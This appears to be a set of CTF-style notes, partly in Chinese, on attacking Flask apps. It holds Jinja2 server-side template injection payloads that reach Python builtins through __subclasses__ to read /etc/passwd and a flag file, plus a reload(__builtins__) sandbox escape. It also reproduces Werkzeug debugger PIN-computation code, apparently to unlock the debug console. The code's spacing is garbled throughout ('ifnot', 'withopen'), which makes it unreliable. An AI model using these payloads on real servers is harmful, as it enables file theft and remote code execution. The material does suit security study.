{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %} 1 reload方法：
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement del __builtins__.__dict__['eval'] # evaluating code could be dangerous del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
当没有过滤reload函数时，我们可以重载builtins
reload(__builtins__)
当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='catch_warnings' %} {{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }} {% endif %} {% endfor %} 也可以
h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
num = None if num isNone: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None if rv isNone: for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x inrange(0, len(num), group_size)) break else: rv = num
# machine-id is stable across boots, boot_id is not. for filename in"/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: withopen(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
# Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: withopen("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
defget_pin_and_cookie_name(): """Given an application object this returns a semi-stable 9 digit pin code and a random key. The hope is that this is stable between restarts to not make debugging particularly frustrating. If the pin was forcefully disabled this returns `None`. Second item in the resulting tuple is the cookie name for remembering. """
# This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, 'Flask', file_path, ]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [str(mac), get_machine_id()]
h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): ifnot bit: continue ifisinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] rv = '' # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. for group_size in5, 4, 3: iflen(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x inrange(0, len(num), group_size) ) break
return rv, cookie_name
if __name__ == '__main__': print(get_pin_and_cookie_name())
